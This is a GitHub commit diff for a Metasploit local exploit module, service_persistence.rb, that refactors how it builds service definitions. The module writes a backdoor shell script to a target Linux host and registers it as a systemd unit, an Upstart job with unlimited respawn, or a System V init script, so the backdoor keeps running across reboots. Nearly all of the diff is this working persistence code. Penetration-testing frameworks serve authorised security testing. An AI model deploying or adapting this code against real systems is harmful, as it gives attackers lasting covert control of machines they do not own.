Skip to content

Commit 03dca5f

Browse files
author
h00die
committed
updates round 2
1 parent 1c20122 commit 03dca5f

File tree

1 file changed

+113
-115
lines changed

1 file changed

+113
-115
lines changed

‎modules/exploits/linux/local/service_persistence.rb

Lines changed: 113 additions & 115 deletions
Original file line numberDiff line numberDiff line change
@@ -3,9 +3,6 @@
33
# Current source: https://github.com/rapid7/metasploit-framework
44
##
55

6-
require 'msf/core'
7-
require 'msf/core/post/file'
8-
96
class MetasploitModule < Msf::Exploit::Local
107
Rank = ExcellentRanking
118

@@ -47,8 +44,8 @@ def initialize(info = {})
4744
'Targets' =>
4845
[
4946
['Auto', {}],
50-
['System V', { 'runlevel' => '2 3 4 5' }],
51-
['Upstart', { 'runlevel' => '2345' }],
47+
['System V', { :runlevel => '2 3 4 5' }],
48+
['Upstart', { :runlevel => '2345' }],
5249
['systemd', {}]
5350
],
5451
'DefaultTarget' => 0,
@@ -84,13 +81,13 @@ def initialize(info = {})
8481

8582
def exploit
8683
backdoor = write_shell(datastore['SHELLPATH'])
87-
path = backdoor.split(File::SEPARATOR)[0...-1].join('/')
88-
file = backdoor.split(File::SEPARATOR)[-1]
84+
path = backdoor.split('/')[0...-1].join('/')
85+
file = backdoor.split('/')[-1]
8986
case target.name
9087
when 'System V'
91-
system_v(path, file, target.opts['runlevel'], service_system_exists?('update-rc.d'))
88+
system_v(path, file, target.opts[:runlevel], service_system_exists?('update-rc.d'))
9289
when 'Upstart'
93-
upstart(path, file, target.opts['runlevel'])
90+
upstart(path, file, target.opts[:runlevel])
9491
when 'systemd'
9592
systemd(path, file)
9693
else
@@ -129,17 +126,17 @@ def write_shell(path)
129126

130127
def systemd(backdoor_path, backdoor_file)
131128
# https://coreos.com/docs/launching-containers/launching/getting-started-with-systemd/
132-
script = "[Unit]\n"
133-
script << "Description=Start daemon at boot time\n"
134-
script << "After=\n"
135-
script << "Requires=\n"
136-
script << "[Service]\n"
137-
script << "RestartSec=10s\n"
138-
script << "Restart=always\n"
139-
script << "TimeoutStartSec=5\n"
140-
script << "ExecStart=/bin/sh #{backdoor_path}#{File::SEPARATOR}#{backdoor_file}\n"
141-
script << "[Install]\n"
142-
script << "WantedBy=multi-user.target\n"
129+
script = %{[Unit]
130+
Description=Start daemon at boot time
131+
After=
132+
Requires=
133+
[Service]
134+
RestartSec=10s
135+
Restart=always
136+
TimeoutStartSec=5
137+
ExecStart=/bin/sh #{backdoor_path}/#{backdoor_file}
138+
[Install]
139+
WantedBy=multi-user.target}
143140

144141
service_filename = datastore['SERVICE'] ? datastore['SERVICE'] : Rex::Text.rand_text_alpha(7)
145142
vprint_status("Writing service: /lib/systemd/system/#{service_filename}.service")
@@ -152,17 +149,17 @@ def systemd(backdoor_path, backdoor_file)
152149

153150
def upstart(backdoor_path, backdoor_file, runlevel)
154151
# http://blog.terminal.com/getting-started-with-upstart/
155-
script = "description \"Start daemon at boot time\"\n"
156-
script << "start on filesystem or runlevel [#{runlevel}]\n"
157-
script << "stop on shutdown\n"
158-
script << "script\n"
159-
script << " cd #{backdoor_path}\n"
160-
script << " echo $$ > /var/run/#{backdoor_file}.pid\n"
161-
script << " exec #{backdoor_file}\n"
162-
script << "end script\n"
163-
script << "post-stop exec sleep 10\n"
164-
script << "respawn\n"
165-
script << "respawn limit unlimited\n"
152+
script = %{description \"Start daemon at boot time\"
153+
start on filesystem or runlevel [#{runlevel}]
154+
stop on shutdown
155+
script
156+
cd #{backdoor_path}
157+
echo $$ > /var/run/#{backdoor_file}.pid
158+
exec #{backdoor_file}
159+
end script
160+
post-stop exec sleep 10
161+
respawn
162+
respawn limit unlimited}
166163

167164
service_filename = datastore['SERVICE'] ? datastore['SERVICE'] : Rex::Text.rand_text_alpha(7)
168165
vprint_status("Writing service: /etc/init/#{service_filename}.conf")
@@ -178,95 +175,96 @@ def system_v(backdoor_path, backdoor_file, runlevel, has_updatercd)
178175
else
179176
print_status('Utilizing chkconfig')
180177
end
181-
script = "#!/bin/sh\n"
182-
script << "### BEGIN INIT INFO\n"
183-
script << "# Provides: service\n"
184-
script << "# Required-Start: $network\n"
185-
script << "# Required-Stop: $network\n"
186-
script << "# Default-Start: #{runlevel}\n"
187-
script << "# Default-Stop: 0 1 6\n"
188-
script << "# Short-Description: Start daemon at boot time\n"
189-
script << "# Description: Enable service provided by daemon.\n"
190-
script << "### END INIT INFO\n"
191-
script << "dir=\"#{backdoor_path}\"\n"
192-
script << "cmd=\"#{backdoor_file}\"\n"
193-
script << "name=`basename $0`\n"
194-
script << "pid_file=\"/var/run/$name.pid\"\n"
195-
script << "stdout_log=\"/var/log/$name.log\"\n"
196-
script << "stderr_log=\"/var/log/$name.err\"\n"
197-
script << "get_pid() {\n"
198-
script << " cat \"$pid_file\"\n"
199-
script << "}\n"
200-
script << "is_running() {\n"
201-
script << " [ -f \"$pid_file\" ] && ps `get_pid` > /dev/null 2>&1\n"
202-
script << "}\n"
203-
script << "case \"$1\" in\n"
204-
script << " start)\n"
205-
script << " if is_running; then\n"
206-
script << " echo \"Already started\"\n"
207-
script << " else\n"
208-
script << " echo \"Starting $name\"\n"
209-
script << " cd \"$dir\"\n"
178+
script = %{#!/bin/sh
179+
### BEGIN INIT INFO
180+
# Provides: service
181+
# Required-Start: $network
182+
# Required-Stop: $network
183+
# Default-Start: #{runlevel}
184+
# Default-Stop: 0 1 6
185+
# Short-Description: Start daemon at boot time
186+
# Description: Enable service provided by daemon.
187+
### END INIT INFO
188+
dir=\"#{backdoor_path}\"
189+
cmd=\"#{backdoor_file}\"
190+
name=`basename $0`
191+
pid_file=\"/var/run/$name.pid\"
192+
stdout_log=\"/var/log/$name.log\"
193+
stderr_log=\"/var/log/$name.err\"
194+
get_pid() {
195+
cat \"$pid_file\"
196+
}
197+
is_running() {
198+
[ -f \"$pid_file\" ] && ps `get_pid` > /dev/null 2>&1
199+
}
200+
case \"$1\" in
201+
start)
202+
if is_running; then
203+
echo \"Already started\"
204+
else
205+
echo \"Starting $name\"
206+
cd \"$dir\"}
207+
210208
if has_updatercd
211209
script << " sudo $cmd >> \"$stdout_log\" 2>> \"$stderr_log\" &\n"
212210
else # CentOS didn't like sudo or su...
213211
script << " $cmd >> \"$stdout_log\" 2>> \"$stderr_log\" &\n"
214212
end
215-
script << " echo $! > \"$pid_file\"\n"
216-
script << " if ! is_running; then\n"
217-
script << " echo \"Unable to start, see $stdout_log and $stderr_log\"\n"
218-
script << " exit 1\n"
219-
script << " fi\n"
220-
script << " fi\n"
221-
script << " ;;\n"
222-
script << " stop)\n"
223-
script << " if is_running; then\n"
224-
script << " echo -n \"Stopping $name..\"\n"
225-
script << " kill `get_pid`\n"
226-
script << " for i in {1..10}\n"
227-
script << " do\n"
228-
script << " if ! is_running; then\n"
229-
script << " break\n"
230-
script << " fi\n"
231-
script << " echo -n \".\"\n"
232-
script << " sleep 1\n"
233-
script << " done\n"
234-
script << " echo\n"
235-
script << " if is_running; then\n"
236-
script << " echo \"Not stopped; may still be shutting down or shutdown may have failed\"\n"
237-
script << " exit 1\n"
238-
script << " else\n"
239-
script << " echo \"Stopped\"\n"
240-
script << " if [ -f \"$pid_file\" ]; then\n"
241-
script << " rm \"$pid_file\"\n"
242-
script << " fi\n"
243-
script << " fi\n"
244-
script << " else\n"
245-
script << " echo \"Not running\"\n"
246-
script << " fi\n"
247-
script << " ;;\n"
248-
script << " restart)\n"
249-
script << " $0 stop\n"
250-
script << " if is_running; then\n"
251-
script << " echo \"Unable to stop, will not attempt to start\"\n"
252-
script << " exit 1\n"
253-
script << " fi\n"
254-
script << " $0 start\n"
255-
script << " ;;\n"
256-
script << " status)\n"
257-
script << " if is_running; then\n"
258-
script << " echo \"Running\"\n"
259-
script << " else\n"
260-
script << " echo \"Stopped\"\n"
261-
script << " exit 1\n"
262-
script << " fi\n"
263-
script << " ;;\n"
264-
script << " *)\n"
265-
script << " echo \"Usage: $0 {start|stop|restart|status}\"\n"
266-
script << " exit 1\n"
267-
script << " ;;\n"
268-
script << "esac\n"
269-
script << "exit 0\n"
213+
script << %{ echo $! > \"$pid_file\"
214+
if ! is_running; then
215+
echo \"Unable to start, see $stdout_log and $stderr_log\"
216+
exit 1
217+
fi
218+
fi
219+
;;
220+
stop)
221+
if is_running; then
222+
echo -n \"Stopping $name..\"
223+
kill `get_pid`
224+
for i in {1..10}
225+
do
226+
if ! is_running; then
227+
break
228+
fi
229+
echo -n \".\"
230+
sleep 1
231+
done
232+
echo
233+
if is_running; then
234+
echo \"Not stopped; may still be shutting down or shutdown may have failed\"
235+
exit 1
236+
else
237+
echo \"Stopped\"
238+
if [ -f \"$pid_file\" ]; then
239+
rm \"$pid_file\"
240+
fi
241+
fi
242+
else
243+
echo \"Not running\"
244+
fi
245+
;;
246+
restart)
247+
$0 stop
248+
if is_running; then
249+
echo \"Unable to stop, will not attempt to start\"
250+
exit 1
251+
fi
252+
$0 start
253+
;;
254+
status)
255+
if is_running; then
256+
echo \"Running\"
257+
else
258+
echo \"Stopped\"
259+
exit 1
260+
fi
261+
;;
262+
*)
263+
echo \"Usage: $0 {start|stop|restart|status}\"
264+
exit 1
265+
;;
266+
esac
267+
exit 0}
270268

271269
service_filename = datastore['SERVICE'] ? datastore['SERVICE'] : Rex::Text.rand_text_alpha(7)
272270
vprint_status("Writing service: /etc/init.d/#{service_filename}")

0 commit comments

Comments
 (0)